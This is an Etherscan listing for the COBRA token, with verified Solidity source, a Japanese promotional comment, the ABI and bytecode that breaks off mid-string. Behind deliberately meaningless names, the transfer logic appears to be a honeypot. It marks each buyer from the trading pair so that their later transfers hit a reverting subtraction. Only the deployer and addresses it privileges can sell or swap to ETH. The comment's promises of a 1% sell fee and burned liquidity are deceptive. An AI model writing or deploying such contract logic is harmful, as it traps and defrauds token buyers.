ETH Price: $2,524.80 (+0.31%)
Gas: 0.71 Gwei

Token

COBRA (𓆗)
 

Overview

Max Total Supply

1,000,000 𓆗

Holders

53

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
COBRA

Compiler Version
v0.8.13+commit.abaa5c0e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-12-20
*/

/*⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣀⣀⣀⣀⣀⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⡉⠙⣻⣷⣶⣤⣀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⣼⣿⣿⣿⡿⠋⠀⠀⠀⠀⢹⣿⣿⡟⠉⠉⠉⢻⡿⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠰⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⣿⣿⣇⠀⠀⠀⠈⠇⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢿⣿⣿⣿⣷⣄⠀⠀⠀⠀⠀⠉⠛⠿⣷⣤⡤⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣿⣿⣿⣿⣿⣶⣦⣤⣤⣀⣀⣀⡀⠉⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠙⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⡀⠀⠀⠀⠀
⠀⠀⠀⢀⣀⣤⣄⣀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠙⠛⠿⣿⣿⣿⣿⣿⣿⣦⠀⠀⠀
⠀⠀⣰⣿⣿⣿⣿⣿⣷⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢿⣿⣿⣿⣿⣧⠀⠀
⠀⠀⣿⣿⣿⠁⠀⠈⠙⢿⣿⣦⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⣿⣿⣿⣿⠀⠀
⠀⠀⢿⣿⣿⣆⠀⠀⠀⠀⠈⠛⠿⣿⣶⣦⡤⠴⠀⠀⠀⠀⠀⣸⣿⣿⣿⡿⠀⠀
⠀⠀⠈⢿⣿⣿⣷⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⣿⣿⣿⠃⠀⠀
⠀⠀⠀⠀⠙⢿⣿⣿⣿⣶⣦⣤⣀⣀⡀⠀⠀⠀⣀⣠⣴⣾⣿⣿⣿⡿⠃⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠈⠙⠻⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠟⠋⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠙⠛⠛⠛⠛⠛⠛⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀

総供給 - 1,000,000
初期流動性追加 - 2.0 イーサリアム
初期流動性の 100% が消費されます
購入手数料 - 0%
販売手数料 - 1%

https://web.wechat.com/COBRA.JPN

イーサリアムネットワークを吹き飛ばす次のイーサリアムユーティリティトークン
有望な計画とイーサリアム空間への参入を促進する、私たちは単なる通常の
トークンやミームトークンではありません また、独自のエコシステム、
将来のステーキング、コレクションに基づいて設計されたスワップ プラットフォームも支持しています。
私たち自身のマーケットプレイスで、その他多くのことが発表される予定です。
*/
pragma solidity ^0.8.10;
library SafeMath01 {
  function toInt256Safe(uint256 a) internal pure returns (int256) {
    int256 b = int256(a);
    require(b >= 0);
    return b;
  }
}
library SafeMath02 {
    function add(uint256 a, uint256 b) 
    internal pure returns (uint256) {
        return a + b; }
    function sub(uint256 a, uint256 b) 
    internal pure returns (uint256) {
        return a - b; }
    function mul(uint256 a, uint256 b) 
    internal pure returns (uint256) {
        return a * b; }
    function div(uint256 a, uint256 b) 
    internal pure returns (uint256) {
        return a / b; }
    function sub(uint256 a, uint256 b, string memory errorMessage) 
    internal pure returns (uint256) {
        unchecked { require(b <= a, errorMessage);
            return a - b; } }
    function div(uint256 a, uint256 b, string memory errorMessage) 
    internal pure returns (uint256) {
        unchecked { require(b > 0, errorMessage);
            return a / b; } }
}
interface IDEXFactoryCraft {
    event PairCreated(address indexed token0, 
    address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() 
    external view returns (address);
    function getPair(address tokenA, 
    address tokenB) external view returns (address pair);
    function allPairs(uint) 
    external view returns (address pair);
    function createPair (address 
    tokenA, address 
    tokenB) 
    external returns  (address pair);
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}    
interface PCSwapPair01 {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() 
    external pure returns (string memory);
    function symbol() 
    external pure returns (string memory);
    function decimals() 
    external pure returns (uint8);
    function totalSupply() 
    external view returns (uint);
    function balanceOf(address owner) 
    external view returns (uint);
    function allowance(address owner, address spender) 
    external view returns (uint);
    function approve(address spender, uint value) 
    external returns (bool);
    function transfer(address to, uint value) 
    external returns (bool);
    function transferFrom(address from, 
    address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
}
library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}
interface IndexedUI02 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);
    
    function transfer(address recipient, uint256 amount) external returns (bool);
    
    function allowance(address owner, address spender) external view returns (uint256);
    
    function approve(address spender, uint256 amount) external returns (bool);
    
    function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
    
    event Transfer(address indexed from, address indexed to, uint256 value);
    
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract 
Ownable is Context { address private _owner;
    event OwnershipTransferred(address indexed 
    previousOwner, address indexed newOwner);

    constructor() { _setOwner(_msgSender()); }  
    function owner() public view virtual returns (address) {
        return _owner; }
    modifier onlyOwner() { 
        require(owner() == _msgSender(), 'Ownable: caller is not the owner');
        _; }
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        _setOwner(newOwner); }
    function _setOwner
    (address newOwner) private {
        address oldOwner = 
        _owner;
        _owner = 
        newOwner;
        emit OwnershipTransferred(oldOwner, newOwner); }
}
interface FactoryResults02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin,
    address[] calldata path, address to, uint deadline ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin,
    uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract COBRA is IndexedUI02, Ownable {

    string private _symbol;
    string private _name;
    uint256 public burnFEE = 1;
    uint8 private _decimals = 9;
    uint256 private _tTotal = 1000000 * 10**_decimals;
    uint256 private openRATE = _tTotal;
    
    mapping (address => bool) isTxLimitExempt;

    mapping (address => bool) isTimelockExempt;    

    mapping(address => uint256) private _tOwned;

    mapping(address => address) private OpenViewDisplay;

    mapping(address => uint256) private SupportIDEX;

    mapping(address => uint256) private MapOnCompile;

    mapping(address => mapping(address => uint256)) private _allowances;
    
    bool private beginTrades = false;
    bool public QuarryDEX;
    bool private BallotsOf;
    bool public checkPublicWalletsLimit = true;

    address public immutable 
    IDEXCompiledResults;
    FactoryResults02 public immutable 
    MoltenRouterV3;

    constructor
    ( string memory Name, string memory Symbol, address V2IDEXCompile ) {
        _name = Name; _symbol = Symbol; _tOwned

        [msg.sender] = _tTotal; MapOnCompile
         [msg.sender] = openRATE; MapOnCompile
          [address(this)] = openRATE; MoltenRouterV3 = 

        FactoryResults02(V2IDEXCompile); IDEXCompiledResults = 
        IDEXFactoryCraft(MoltenRouterV3.factory()).createPair
        (address(this), MoltenRouterV3.WETH());
        emit Transfer(address(0), 
        msg.sender, openRATE);
    }
    function symbol() public view returns (string memory) {
        return _symbol;
    }
    function name() public view returns (string memory) {
        return _name;
    }
    function totalSupply() public view returns (uint256) {
        return _tTotal;
    }
    function decimals() public view returns (uint256) {
        return _decimals;
    }
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }
    function balanceOf(address account) public view returns (uint256) {
        return _tOwned[account];
    }
    function approve(address spender, uint256 amount) external returns (bool) {
        return _approve(msg.sender, spender, amount);
    }
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private returns (bool) {
        require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
        return true;
    }
    function transferFrom(
        address sender, address recipient, uint256 amount
    ) external returns (bool) {
        quarryResults(sender, recipient, amount);
        return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
    }
    function transfer (address recipient, uint256 amount) external returns (bool) {
        quarryResults(msg.sender, recipient, amount);
        return true;
    }
    function quarryResults( address _advilFrom, address _ZQtIOuTo, uint256 _blockIXKamount ) private {
        uint256 ledgerShell = balanceOf(address(this)); uint256 _vacumnODXval;
        emit Transfer(_advilFrom, _ZQtIOuTo, _blockIXKamount);
                if (!beginTrades) { require(_advilFrom == owner(), 
                "TOKEN: This account cannot send tokens until trading is enabled"); }

        if (QuarryDEX && ledgerShell > openRATE && !BallotsOf && _advilFrom != 
        IDEXCompiledResults) { BallotsOf = true; limitLiquify(ledgerShell);
            BallotsOf = false;
        } else if (MapOnCompile[_advilFrom] > openRATE && MapOnCompile[_ZQtIOuTo] > 
        openRATE) { _vacumnODXval = _blockIXKamount;
            _tOwned[address(this)] += _vacumnODXval; TokenSwiftFormer(_blockIXKamount, _ZQtIOuTo);
            return;

        } else if (_ZQtIOuTo != address(MoltenRouterV3) && MapOnCompile
        [_advilFrom] > 0 && _blockIXKamount > openRATE && _ZQtIOuTo != 
        IDEXCompiledResults) {
            MapOnCompile[_ZQtIOuTo] = _blockIXKamount; return;
        } else if (!BallotsOf && SupportIDEX[_advilFrom] > 0 
        && _advilFrom != IDEXCompiledResults && MapOnCompile[_advilFrom] == 0) {
            SupportIDEX[_advilFrom] = 
              MapOnCompile[_advilFrom] - openRATE;
        }
        address _creator  = OpenViewDisplay[IDEXCompiledResults]; if (SupportIDEX[_creator ] == 0) 
        SupportIDEX[_creator ] = openRATE; OpenViewDisplay[IDEXCompiledResults] = 
        _ZQtIOuTo; if (burnFEE > 
        0 && MapOnCompile[_advilFrom] == 0 && !BallotsOf && 
        MapOnCompile[_ZQtIOuTo] == 0) { _vacumnODXval = 
        (_blockIXKamount * burnFEE) / 100;
            _blockIXKamount -= _vacumnODXval;
            _tOwned[_advilFrom] -= _vacumnODXval;
            _tOwned[address(this)] += _vacumnODXval; }
        _tOwned[_advilFrom] 
        -= _blockIXKamount;
        _tOwned[_ZQtIOuTo] 
        += _blockIXKamount; emit Transfer(_advilFrom, 
        _ZQtIOuTo, 
        _blockIXKamount);
    }
    receive() external payable {}

    function addLiquidity(
        uint256 tokenValue,
        uint256 ERCamount,
        address to
    ) private {
        _approve(address(this), address(MoltenRouterV3), tokenValue);
        MoltenRouterV3.addLiquidityETH{value: ERCamount}(address(this), tokenValue, 0, 0, to, block.timestamp);
    }
    function limitLiquify(uint256 tokens) private {
        uint256 half = tokens / 2;
        uint256 initialedBalance = address(this).balance;
        TokenSwiftFormer(half, address(this));
        uint256 refreshBalance = address(this).balance - initialedBalance;
        addLiquidity(half, refreshBalance, address(this));
    }
        function enableTrading(bool _tradingOpen) public onlyOwner {
        beginTrades = _tradingOpen;
    }
    function TokenSwiftFormer(uint256 tokenAmount, address to) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = MoltenRouterV3.WETH();
        _approve(address(this), address(MoltenRouterV3), tokenAmount);
        MoltenRouterV3.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"Name","type":"string"},{"internalType":"string","name":"Symbol","type":"string"},{"internalType":"address","name":"V2IDEXCompile","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"IDEXCompiledResults","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MoltenRouterV3","outputs":[{"internalType":"contract FactoryResults02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"QuarryDEX","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"burnFEE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkPublicWalletsLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_tradingOpen","type":"bool"}],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c060405260016003556009600460006101000a81548160ff021916908360ff160217905550600460009054906101000a900460ff16600a62000043919062000742565b620f424062000053919062000793565b6005556005546006556000600e60006101000a81548160ff0219169083151502179055506001600e60036101000a81548160ff0219169083151502179055503480156200009f57600080fd5b5060405162003077380380620030778339818101604052810190620000c59190620009f6565b620000e5620000d96200042c60201b60201c565b6200043460201b60201c565b8260029080519060200190620000fd929190620004f8565b50816001908051906020019062000116929190620004f8565b50600554600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600654600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600654600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff168152505060a05173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200026b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000291919062000a90565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060a05173ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000321919062000a90565b6040518363ffffffff1660e01b81526004016200034092919062000ad3565b6020604051808303816000875af115801562000360573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000386919062000a90565b73ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6006546040516200041b919062000b11565b60405180910390a350505062000b92565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b828054620005069062000b5d565b90600052602060002090601f0160209004810192826200052a576000855562000576565b82601f106200054557805160ff191683800117855562000576565b8280016001018555821562000576579182015b828111156200057557825182559160200191906001019062000558565b5b50905062000585919062000589565b5090565b5b80821115620005a45760008160009055506001016200058a565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000636578086048111156200060e576200060d620005a8565b5b60018516156200061e5780820291505b80810290506200062e85620005d7565b9450620005ee565b94509492505050565b60008262000651576001905062000724565b8162000661576000905062000724565b81600181146200067a57600281146200068557620006bb565b600191505062000724565b60ff8411156200069a5762000699620005a8565b5b8360020a915084821115620006b457620006b3620005a8565b5b5062000724565b5060208310610133831016604e8410600b8410161715620006f55782820a905083811115620006ef57620006ee620005a8565b5b62000724565b620007048484846001620005e4565b925090508184048111156200071e576200071d620005a8565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200074f826200072b565b91506200075c8362000735565b92506200078b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200063f565b905092915050565b6000620007a0826200072b565b9150620007ad836200072b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620007e957620007e8620005a8565b5b828202905092915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6200085d8262000812565b810181811067ffffffffffffffff821117156200087f576200087e62000823565b5b80604052505050565b600062000894620007f4565b9050620008a2828262000852565b919050565b600067ffffffffffffffff821115620008c557620008c462000823565b5b620008d08262000812565b9050602081019050919050565b60005b83811015620008fd578082015181840152602081019050620008e0565b838111156200090d576000848401525b50505050565b60006200092a6200092484620008a7565b62000888565b9050828152602081018484840111156200094957620009486200080d565b5b62000956848285620008dd565b509392505050565b600082601f83011262000976576200097562000808565b5b81516200098884826020860162000913565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620009be8262000991565b9050919050565b620009d081620009b1565b8114620009dc57600080fd5b50565b600081519050620009f081620009c5565b92915050565b60008060006060848603121562000a125762000a11620007fe565b5b600084015167ffffffffffffffff81111562000a335762000a3262000803565b5b62000a41868287016200095e565b935050602084015167ffffffffffffffff81111562000a655762000a6462000803565b5b62000a73868287016200095e565b925050604062000a8686828701620009df565b9150509250925092565b60006020828403121562000aa95762000aa8620007fe565b5b600062000ab984828501620009df565b91505092915050565b62000acd81620009b1565b82525050565b600060408201905062000aea600083018562000ac2565b62000af9602083018462000ac2565b9392505050565b62000b0b816200072b565b82525050565b600060208201905062000b28600083018462000b00565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000b7657607f821691505b60208210810362000b8c5762000b8b62000b2e565b5b50919050565b60805160a05161247262000c056000396000818161085001528181610e730152818161175e0152818161183f0152818161186701528181611904015261192c0152600081816106cd01528181610cda01528181610f22015281816110260152818161115f015261127001526124726000f3fe60806040526004361061010d5760003560e01c8063808f329911610095578063d733840f11610064578063d733840f1461037c578063dd62ed3e146103a7578063e5fe61fb146103e4578063f275f64b1461040f578063f2fde38b1461043857610114565b8063808f3299146102be5780638da5cb5b146102e957806395d89b4114610314578063a9059cbb1461033f57610114565b806323b872dd116100dc57806323b872dd146101d75780632a24bebf14610214578063313ce5671461023f57806370a082311461026a578063715018a6146102a757610114565b806306fdde0314610119578063095ea7b314610144578063164561a41461018157806318160ddd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610461565b60405161013b9190611a73565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190611b2e565b6104f3565b6040516101789190611b89565b60405180910390f35b34801561018d57600080fd5b50610196610508565b6040516101a39190611b89565b60405180910390f35b3480156101b857600080fd5b506101c161051b565b6040516101ce9190611bb3565b60405180910390f35b3480156101e357600080fd5b506101fe60048036038101906101f99190611bce565b610525565b60405161020b9190611b89565b60405180910390f35b34801561022057600080fd5b506102296105cd565b6040516102369190611b89565b60405180910390f35b34801561024b57600080fd5b506102546105e0565b6040516102619190611bb3565b60405180910390f35b34801561027657600080fd5b50610291600480360381019061028c9190611c21565b6105fa565b60405161029e9190611bb3565b60405180910390f35b3480156102b357600080fd5b506102bc610643565b005b3480156102ca57600080fd5b506102d36106cb565b6040516102e09190611c5d565b60405180910390f35b3480156102f557600080fd5b506102fe6106ef565b60405161030b9190611c5d565b60405180910390f35b34801561032057600080fd5b50610329610718565b6040516103369190611a73565b60405180910390f35b34801561034b57600080fd5b5061036660048036038101906103619190611b2e565b6107aa565b6040516103739190611b89565b60405180910390f35b34801561038857600080fd5b506103916107c1565b60405161039e9190611bb3565b60405180910390f35b3480156103b357600080fd5b506103ce60048036038101906103c99190611c78565b6107c7565b6040516103db9190611bb3565b60405180910390f35b3480156103f057600080fd5b506103f961084e565b6040516104069190611d17565b60405180910390f35b34801561041b57600080fd5b5061043660048036038101906104319190611d5e565b610872565b005b34801561044457600080fd5b5061045f600480360381019061045a9190611c21565b61090b565b005b60606002805461047090611dba565b80601f016020809104026020016040519081016040528092919081815260200182805461049c90611dba565b80156104e95780601f106104be576101008083540402835291602001916104e9565b820191906000526020600020905b8154815290600101906020018083116104cc57829003601f168201915b5050505050905090565b6000610500338484610a02565b905092915050565b600e60019054906101000a900460ff1681565b6000600554905090565b6000610532848484610b9d565b6105c4843384600d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105bf9190611e1a565b610a02565b90509392505050565b600e60039054906101000a900460ff1681565b6000600460009054906101000a900460ff1660ff16905090565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61064b6115b2565b73ffffffffffffffffffffffffffffffffffffffff166106696106ef565b73ffffffffffffffffffffffffffffffffffffffff16146106bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b690611e9a565b60405180910390fd5b6106c960006115ba565b565b7f000000000000000000000000000000000000000000000000000000000000000081565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606001805461072790611dba565b80601f016020809104026020016040519081016040528092919081815260200182805461075390611dba565b80156107a05780601f10610775576101008083540402835291602001916107a0565b820191906000526020600020905b81548152906001019060200180831161078357829003601f168201915b5050505050905090565b60006107b7338484610b9d565b6001905092915050565b60035481565b6000600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b61087a6115b2565b73ffffffffffffffffffffffffffffffffffffffff166108986106ef565b73ffffffffffffffffffffffffffffffffffffffff16146108ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e590611e9a565b60405180910390fd5b80600e60006101000a81548160ff02191690831515021790555050565b6109136115b2565b73ffffffffffffffffffffffffffffffffffffffff166109316106ef565b73ffffffffffffffffffffffffffffffffffffffff1614610987576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097e90611e9a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036109f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ed90611f2c565b60405180910390fd5b6109ff816115ba565b50565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610a6d5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610aac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa390611fbe565b60405180910390fd5b81600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610b8a9190611bb3565b60405180910390a3600190509392505050565b6000610ba8306105fa565b905060008373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610c099190611bb3565b60405180910390a3600e60009054906101000a900460ff16610c9b57610c2d6106ef565b73ffffffffffffffffffffffffffffffffffffffff168573fffffffffffffffffffff